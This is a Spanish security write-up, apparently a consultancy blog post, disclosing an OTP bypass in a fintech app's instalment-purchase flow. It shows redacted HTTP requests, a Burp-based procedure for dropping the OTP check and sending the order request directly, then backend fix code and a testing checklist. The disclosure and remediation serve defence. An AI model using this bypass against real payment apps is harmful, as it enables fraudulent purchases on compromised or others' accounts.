El OTP que solo se valida una vez: bypass en flujo de compra móvil
Una app de crédito fintech validaba el OTP en la primera petición del flujo de compra. La segunda petición, la que efectivamente confirmaba la transacción, no requería ni el código ni un identificador de transacción. Cómo encontré que el OTP era cosmético.
El hallazgo en una línea
En el flujo de compra de una app de crédito (12 cuotas), el código OTP enviado por el banco emisor solo se validaba en una petición intermedia. La petición final que efectivamente confirmaba la orden y descontaba el crédito no incluía el OTP ni un identificador de transacción que lo vinculara al paso anterior. Resultado: con una sola interceptación de Burp, era posible saltarse el segundo factor.
El OTP estaba ahí. Se generaba. Se enviaba al usuario. Se validaba. Pero no protegía nada.
Por qué este patrón es tan común
Los flujos transaccionales en apps móviles suelen tener varios pasos:
- Cliente solicita la compra
- Servidor genera y envía OTP
- Cliente confirma con OTP
- Servidor procesa la transacción
El error clásico es asumir que la validación del paso 3 protege el paso 4. Como el frontend siempre llama 3→4 en orden, el desarrollador piensa que llegar a 4 implica haber pasado 3.
La realidad: cualquiera con un proxy puede ir directo al paso 4 si ese paso no exige ninguna prueba de que el paso 3 fue exitoso.
El flujo evaluado
La app permite comprar productos con financiamiento en 12 cuotas. El OTP llega por SMS desde la fintech emisora (no la app misma). El usuario lo introduce en la app y confirma.
Petición 1: validación del OTP
POST /clientes/validar-otp HTTP/1.1
Host: app-redacted.fintech-redacted.com:3005
Authorization: Bearer [REDACTED]
Content-Type: application/json
{
"personUId": "[REDACTED]",
"otp": "847291",
"numeroOperacion": "[REDACTED]"
}
Respuesta:
{ "status": "OK", "valid": true }
Hasta aquí todo bien. El servidor verificó el OTP contra la base de datos.
Petición 2: confirmación de la orden
Inmediatamente después, la app envía:
POST /clientes/orden HTTP/1.1
Host: app-redacted.fintech-redacted.com:3005
Authorization: Bearer [REDACTED]
Content-Type: application/json
{
"productName": "tennis",
"costoProducto": 1.00,
"cuotaSeleccionada": 12,
"interest": 1.00,
"total": 1.00,
"personUId": "[REDACTED]",
"numeroOperacion": "[REDACTED]"
}
Respuesta: orden creada exitosamente.
Notas críticas sobre esta segunda petición:
- No incluye el OTP
- No incluye un identificador de la validación previa (un
validation_id,otp_token,confirmation_id, etc.) - El campo
numeroOperaciones un identificador del producto/orden, no de la validación OTP - El servidor no verifica si el
personUIdtiene un OTP validado y aún vigente
Explotación
Con Burp interceptando todas las peticiones de la app:
- Iniciar el flujo de compra normalmente
- Ingresar cualquier valor en el campo de OTP, incluso vacío
- La petición 1 va a fallar (
{"valid": false}) porque el OTP no es real - No importa. Drop la petición 1 en Burp y forzar la 2 directamente
POST /clientes/orden HTTP/1.1
Host: app-redacted.fintech-redacted.com:3005
Authorization: Bearer [REDACTED]
Content-Type: application/json
{
"productName": "tennis",
"costoProducto": 1.00,
"cuotaSeleccionada": 12,
"personUId": "[REDACTED]",
"numeroOperacion": "[REDACTED]"
}
El servidor procesa la orden. La compra se acredita. Nunca tuvimos que conocer el OTP.
Impacto real
En este caso el monto de prueba fue mínimo, pero el patrón es trivial de explotar a escala:
- Compras fraudulentas usando una sesión robada o comprometida (otro vector: sesiones largas, malware en el dispositivo, etc.)
- Si el atacante tiene credenciales válidas (phishing, credential stuffing) puede comprar sin ser bloqueado por el OTP
- Aún más crítico: si el endpoint expone el
personUIdy la app no valida que coincida con el del token de sesión, podría escalar a compras a nombre de otros clientes
El OTP existe para protegerse de los dos primeros casos. Aquí no protegía de ninguno.
Remediación correcta
La fix tiene tres partes obligatorias:
1. Vincular el OTP a un identificador único de transacción
Cuando el servidor valida un OTP, debe emitir un token de un solo uso, vinculado al personUId, con expiración corta:
# Backend (paso 1): validación
def validate_otp(person_uid, otp_code, numero_operacion):
if not otp_matches(person_uid, otp_code):
return error_response("OTP inválido")
confirmation_token = generate_uuid()
redis.setex(
f"otp_confirmed:{confirmation_token}",
300, # 5 minutos
json.dumps({
"person_uid": person_uid,
"numero_operacion": numero_operacion,
"validated_at": now()
})
)
return {"confirmation_token": confirmation_token}
2. Exigir el token en la petición de confirmación
# Backend (paso 2): orden
def create_order(person_uid, confirmation_token, order_data):
confirmation = redis.get(f"otp_confirmed:{confirmation_token}")
if not confirmation:
return error_response("Token de confirmación inválido o expirado")
confirmation_data = json.loads(confirmation)
if confirmation_data["person_uid"] != person_uid:
return error_response("Token no corresponde al usuario")
if confirmation_data["numero_operacion"] != order_data["numero_operacion"]:
return error_response("Token no corresponde a la orden")
redis.delete(f"otp_confirmed:{confirmation_token}") # un solo uso
process_order(order_data)
3. Defensa en profundidad
- Expiración corta del token (1–5 minutos)
- Token de un solo uso: borrarlo después de la primera redención
- Validar que el
person_uidy la operación coincidan entre el token y la petición - Logs persistentes de cada validación para detectar patrones anómalos
Cómo detectar este patrón en tus apps
Captura el tráfico con Burp o mitmproxy en cualquier flujo que tenga OTP/MFA. Para cada petición que requiere autenticación de segundo factor:
- ¿Hay un token de confirmación que vincula la validación con la acción siguiente?
- ¿El servidor lo verifica antes de procesar la acción crítica?
- ¿El token tiene expiración corta y es de un solo uso?
Si la respuesta a cualquiera es “no”, el OTP es decorativo.
¿Tu app móvil maneja transacciones, pagos o flujos críticos con OTP? Contáctanos para una evaluación enfocada en mobile security y autenticación.